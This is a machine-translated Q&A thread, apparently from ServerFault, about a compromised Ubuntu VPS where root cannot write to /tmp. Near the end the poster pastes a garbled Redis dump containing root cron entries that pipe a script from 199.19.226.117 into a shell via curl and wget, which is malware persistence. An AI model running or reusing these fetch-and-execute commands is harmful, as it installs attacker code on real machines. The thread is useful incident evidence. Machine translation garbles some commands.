Puncte:2

De ce nici măcar utilizatorul meu root nu poate scrie în directorul /tmp?

drapel my

Nu pot scrie în directorul /tmp.

Asta ca utilizator non-root:

europasprak@vps-xxxxxxxx:~$ echo 'ok' > /tmp/dummy
-bash: /tmp/dummy: Operațiunea nu este permisă

și

europasprak@vps-xxxxxxxx:~$ sudo echo 'ok' | sudo tee /tmp/dummy
tee: /tmp/dummy: Operațiunea nu este permisă

Precum și un utilizator root:

root@vps-xxxxxxxx:~# echo 'ok' > /tmp/dummy
bash: /tmp/dummy: Operațiunea nu este permisă

Chiar refuză înainte(!) să ceară sudo parola:

Ultima conectare: miercuri 18 august 19:38:33 2021 de la 91.168.98.130
europasprak@vps-3506b083:~$ sudo echo 'ok' > /tmp/dummy2
-bash: /tmp/dummy2: Operațiunea nu este permisă

În mod interesant, refuză să seteze ora, ca root, în această comandă:

root@vps-xxxxxxxx:/home/europasprak# atingeți /tmp/ok
atingere: setarea orelor pentru „/tmp/ok”: Nu există un astfel de fișier sau director

Problema a apărut în această dimineață.

Masina este:

europasprak@vps-xxxxxxxx:~$ uname -a
Linux vps-xxxxxxxx 5.8.0-63-generic #71-Ubuntu SMP Mar 13 iulie 15:59:12 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux

Paravanele:

europasprak@vps-xxxxxxxx:~$ df
Sistem de fișiere 1K-blocuri Utilizat Disponibil Utilizare% Montat pe
tmpfs 795424 1072 794352 1% /run
/dev/sda1 162420480 59362024 103042072 37% /
tmpfs 3977116 0 3977116 0% /dev/shm
tmpfs 5120 0 5120 0% /run/lock
tmpfs 4096 0 4096 0% /sys/fs/cgroup
/dev/sda15 106858 8008 98851 8% /boot/efi
suprapunere 162420480 59362024 103042072 37% /home/europasprak/programs/install/docker/overlay2/2f1f82255bbd13b61ea151363e46880c4902b4b4b801d46880c4902b4b4b801d4b4b801d82f1919102

europasprak@vps-xxxxxxxx:~$ df -i
Sistemul de fișiere Inode IUsed IFree IUse% Montat pe
tmpfs 994279 640 993639 1% /run
/dev/sda1 20643840 523620 20120220 3% /
tmpfs 994279 4 994275 1% /dev/shm
tmpfs 994279 3 994276 1% /run/lock
tmpfs 1024 18 1006 2% /sys/fs/cgroup
/dev/sda15 0 0 0 - /boot/efi

Mai multe rezultate:

europasprak@vps-xxxxxxxx:~$ ls -ld /tmp
drwxrwxrwt 12 rădăcină rădăcină 4096 août 18 05:45 /tmp

europasprak@vps-xxxxxxxx:~$ lsattr /tmp
--------------e----- /tmp/dump.rdb
lsattr: Permisiune refuzată în timp ce citiți steaguri pe /tmp/systemd-private-b0ce13ad416741f3ba842d3821949044-systemd-timesyncd.service-11J2sh
lsattr: Permisiune refuzată în timpul citirii steaguri pe /tmp/tmp.40xGrsPHCk
--------------e----- /tmp/exp_lin.so
--------------e----- /tmp/oi_plugins.php
--------------e----- /tmp/backup.db
lsattr: Permisiune refuzată în timp ce citiți steaguri pe /tmp/systemd-private-b0ce13ad416741f3ba842d3821949044-systemd-logind.service-ffm01g
lsattr: Permisiune refuzată în timp ce citiți steaguri pe /tmp/systemd-private-b0ce13ad416741f3ba842d3821949044-systemd-resolved.service-E7ECGg
--------------e----- /tmp/xm4.tgz
lsattr: Permisiune refuzată în timpul citirii steaguri pe /tmp/snap.lxd

UPDATE: Am încercat să instalez acl dar eșuat evident:

europasprak@vps-xxxxxxxx:~$ sudo apt install acl
Se citesc listele de pachete... Eroare!
E: Imposibil de mkstemp /tmp/clearsigned.message.VjQNL9 - GetTempFile (1: Operațiunea nu este permisă)
E: Listele de pachete sau fișierul de stare nu au putut fi analizate sau deschise.
europasprak@vps-xxxxxxxx:~$ sudo apt update
Err:1 http://security.ubuntu.com/ubuntu groovy-security InRelease
  Eșec temporar la rezolvarea „security.ubuntu.com”
Err:2 https://download.docker.com/linux/ubuntu groovy InRelease
  Eșec temporar la rezolvarea „download.docker.com”
Err:3 http://ppa.launchpad.net/ultradvorka/ppa/ubuntu groovy InRelease
  Eroare temporară la rezolvarea „ppa.launchpad.net”
Err:4 http://nova.clouds.archive.ubuntu.com/ubuntu groovy InRelease
  Eroare temporară la rezolvarea „nova.clouds.archive.ubuntu.com”
Err:5 http://nova.clouds.archive.ubuntu.com/ubuntu groovy-updates InRelease
  Eroare temporară la rezolvarea „nova.clouds.archive.ubuntu.com”
Err:6 http://nova.clouds.archive.ubuntu.com/ubuntu groovy-backports InRelease
  Eroare temporară la rezolvarea „nova.clouds.archive.ubuntu.com”
Se citesc listele de pachete... Eroare!
W: Nu s-a putut prelua http://nova.clouds.archive.ubuntu.com/ubuntu/dists/groovy/InRelease Eroare temporară la rezolvarea „nova.clouds.archive.ubuntu.com”
W: Nu s-a putut prelua http://nova.clouds.archive.ubuntu.com/ubuntu/dists/groovy-updates/InRelease Eroare temporară la rezolvarea „nova.clouds.archive.ubuntu.com”
W: Nu s-a putut prelua http://nova.clouds.archive.ubuntu.com/ubuntu/dists/groovy-backports/InRelease Eroare temporară la rezolvarea „nova.clouds.archive.ubuntu.com”
W: Nu s-a putut prelua http://security.ubuntu.com/ubuntu/dists/groovy-security/InRelease Eroare temporară la rezolvarea „security.ubuntu.com”
W: Nu s-a putut prelua https://download.docker.com/linux/ubuntu/dists/groovy/InRelease Eroare temporară la rezolvarea „download.docker.com”
W: Nu s-a putut prelua http://ppa.launchpad.net/ultradvorka/ppa/ubuntu/dists/groovy/InRelease Eroare temporară la rezolvarea „ppa.launchpad.net”
W: Unele fișiere index nu au putut fi descărcate. Ele au fost ignorate, sau cele vechi au fost folosite în schimb.
E: Imposibil de mkstemp /tmp/clearsigned.message.cOHaS4 - GetTempFile (1: Operațiunea nu este permisă)
E: Listele de pachete sau fișierul de stare nu au putut fi analizate sau deschise.

UPDATE: Am încercat și eu să dezactivez o setare, dar asta nu a ajutat:

europasprak@vps-xxxxxxxx:~$ sudo echo 'ok' > /tmp/dummy
-bash: /tmp/dummy: Operațiunea nu este permisă
europasprak@vps-xxxxxxxx:~$ sudo sysctl fs.protected_regular=0  
[sudo] parola pentru europasprak: 
fs.protected_regular = 0
europasprak@vps-xxxxxxxx:~$ sudo echo 'ok' > /tmp/dummy
-bash: /tmp/dummy: Operațiunea nu este permisă

VPS-ul este o instanță kvm:

europasprak@vps-xxxxxxxx:~$ sudo virt-what
kvm

ACTUALIZAȚI:

europasprak@vps-xxxxxxxx:~$ sudo journalctl --boot --priority=4
[sudo] parola pentru europasprak: 
-- Jurnalele încep la joi 2021-04-01 18:46:32 UTC, se încheie la duminica 22-08-2021 13:54:48 UTC. --
août 20 20:52:46 vps-3506b083 kernel: #2
août 20 20:52:46 vps-3506b083 kernel: #3
août 20 20:52:46 vps-3506b083 kernel: acpi PNP0A03:00: nu se adaugă informații MMCONFIG, nu se poate accesa spațiul de configurare PCI extins sub acest pod.
août 20 20:52:46 vps-3506b083 kernel: platforma eisa.0: EISA: Nu se pot aloca resurse pentru placa de bază
août 20 20:52:46 vps-3506b083 kernel: platforma eisa.0: Nu se pot aloca resurse pentru slotul 1 EISA
août 20 20:52:46 vps-3506b083 kernel: platforma eisa.0: Nu se pot aloca resurse pentru slotul 2 EISA
août 20 20:52:46 vps-3506b083 kernel: platforma eisa.0: Nu se pot aloca resurse pentru slotul 3 EISA
août 20 20:52:46 vps-3506b083 kernel: platforma eisa.0: Nu se pot aloca resurse pentru slotul 4 EISA
août 20 20:52:46 vps-3506b083 kernel: platforma eisa.0: Nu se pot aloca resurse pentru slotul 5 EISA
août 20 20:52:46 vps-3506b083 kernel: platforma eisa.0: Nu se pot aloca resurse pentru slotul 6 EISA
août 20 20:52:46 vps-3506b083 kernel: platforma eisa.0: Nu se pot aloca resurse pentru slotul EISA 7
août 20 20:52:46 vps-3506b083 kernel: platforma eisa.0: Nu se pot aloca resurse pentru slotul EISA 8
août 20 20:52:46 vps-3506b083 kernel: sd 2:0:0:0: a avut loc pornirea sau resetarea dispozitivului
août 20 20:52:46 vps-3506b083 systemd[1]: /lib/systemd/system/plymouth-start.service:17: Unitate configurată pentru a utiliza KillMode=none. Acest lucru este nesigur, deoarece dezactivează>
août 20 20:52:46 vps-3506b083 systemd[1]: /lib/systemd/system/dbus.service:12: Unitate configurată pentru a utiliza KillMode=none. Acest lucru este nesigur, deoarece dezactivează systemd's>
août 20 20:52:46 vps-3506b083 systemd-udevd[413]: Nu s-a putut seta WakeOnLan of ens3 la off: Operația nu este acceptată
août 20 20:52:48 vps-3506b083 systemd-networkd[658]: /run/systemd/network/10-netplan-ens3.network: MTUBytes= în secțiunea [Link] și UseMTU= în secțiunea [DHCP] >
août 20 20:52:50 vps-3506b083 cron[702]: Eroare: minut prost; în timp ce citești /etc/crontab
août 20 20:52:50 vps-3506b083 cron[702]: Eroare: minut prost; în timp ce citești /etc/cron.d/zzh
août 20 20:52:50 vps-3506b083 cron[702]: Eroare: minut prost; în timp ce citești /etc/cron.d/dog
août 20 20:52:51 vps-3506b083 systemd-networkd[658]: rtnl: vecin primit pentru linkul '3' despre care nu ştim, ignorând.
août 20 20:52:51 vps-3506b083 systemd-networkd[658]: rtnl: vecin primit pentru linkul '3' despre care nu ştim, ignorând.
août 20 20:52:51 vps-3506b083 systemd-networkd[658]: rtnl: vecin primit pentru linkul '3' despre care nu ştim, ignorând.
août 20 20:52:51 vps-3506b083 systemd-networkd[658]: rtnl: vecin primit pentru linkul '3' despre care nu ştim, ignorând.
août 20 20:52:51 vps-3506b083 systemd-networkd[658]: rtnl: vecin primit pentru linkul '4' despre care nu ştim, ignorând.
août 20 20:52:51 vps-3506b083 systemd-networkd[658]: rtnl: vecin primit pentru linkul '4' despre care nu ştim, ignorând.
août 20 20:52:51 vps-3506b083 systemd-networkd[658]: rtnl: vecin primit pentru linkul '4' despre care nu ştim, ignorând.
août 20 20:52:51 vps-3506b083 systemd-networkd[658]: rtnl: vecin primit pentru linkul '4' despre care nu ştim, ignorând.
août 20 20:52:53 vps-3506b083 systemd-udevd[417]: testvxlan: Nu s-a putut obține configurația legăturii: Nu există un astfel de dispozitiv
août 20 20:52:53 vps-3506b083 systemd-udevd[417]: vx-001000-z6tjy: Nu s-a putut obține configurația linkului: Nu s-a putut obține un astfel de dispozitiv
août 20 20:52:53 vps-3506b083 systemd-udevd[413]: vethe97279b: Nu s-a putut genera MAC persistent: Nu există date disponibile
août 20 20:52:53 vps-3506b083 systemd-udevd[417]: vethe514997: Nu s-a putut genera MAC persistent: Nu există date disponibile
août 20 20:52:53 vps-3506b083 systemd-networkd[658]: vethe97279b: Nu s-a putut aștepta ca interfața să fie inițializată: Nu există un astfel de dispozitiv
europasprak@vps-3506b083:~$ 

UPDATE: Văd că fișierul meu /etc/crontab a fost temperat. Sistemul meu a fost spart. În mod ciudat, nu pare să existe nicio activitate minieră. Cred că trebuie să fac o reinstalare completă a sistemului.

REDIS0006þ^@^@^Gbackup3Ã@Q@X^G


*/4 *Â ^A^_root curl -fsSL http://199.19.22^T6.117/b2f628fff19fda9Ã^@^K/b.sh | SH

^@^Gbackup1@F


*/2 * * * * root cd1 -fsSL http://199.19.226.117/b2f628/b.sh | SH

^@^Gbackup4Ã@Q@X^G


*/5 *Â ^A^_root wd1 -q -O- http://199.19.22^T6.117/b2f628fff19fda9Ã^@^K/b.sh | SH

^@^Gbackup2@H


*/3 * * * * rădăcină wget -q -O- http://199.19.226.117/b2f628/b.sh | SH

ÿWìðr<90><93>^Gæ
drapel br
Există ceva numit `/tmp/dummy` care este protejat la scriere? Deschiderea unui fișier pentru scriere nu reseta biții de permisiune chiar dacă aveți dreptul să faceți acest lucru.
Stephane avatar
drapel my
Nu, nu există un astfel de fișier. Nu este o problemă lipicioasă. Apare chiar și pentru fișierele noi care nu există.
drapel jp
Bifați `lsattr`, `getfacl`
Michael Hampton avatar
drapel cz
Verificați syslog și `dmesg` pentru orice indicii.
Stephane avatar
drapel my
@AlexD Nu am putut instala acl
drapel cn
Ați putea adăuga rezultatul `journalctl --boot --priority=4`?
Puncte:0
drapel in

Acesta este un comportament standard în Ubuntu 20.04+ datorită noului fs.protected_regular Parametrul kernelului Linux. Puteți încerca să îl dezactivați astfel

sudo sysctl fs.protected_regular=0  

Și vezi dacă poți să-i scrii /tmp acum

Dacă doriți să faceți modificarea fs.protected_regular=0 permanentă, adăugați-o în fișierul /usr/lib/sysctl.d/protect-links.conf.

Stephane avatar
drapel my
Am mai încercat asta, dar nu a rezolvat problema. Dar bine ai venit la SO :-)
Alex avatar
drapel in
Executați o virtualizare completă sau un container?
Stephane avatar
drapel my
Comanda `sudo virt-what` a afișat `kvm`

Postează un răspuns

Majoritatea oamenilor nu înțeleg că a pune multe întrebări deblochează învățarea și îmbunătățește legătura interpersonală. În studiile lui Alison, de exemplu, deși oamenii își puteau aminti cu exactitate câte întrebări au fost puse în conversațiile lor, ei nu au intuit legătura dintre întrebări și apreciere. În patru studii, în care participanții au fost implicați în conversații ei înșiși sau au citit transcrieri ale conversațiilor altora, oamenii au avut tendința să nu realizeze că întrebarea ar influența – sau ar fi influențat – nivelul de prietenie dintre conversatori.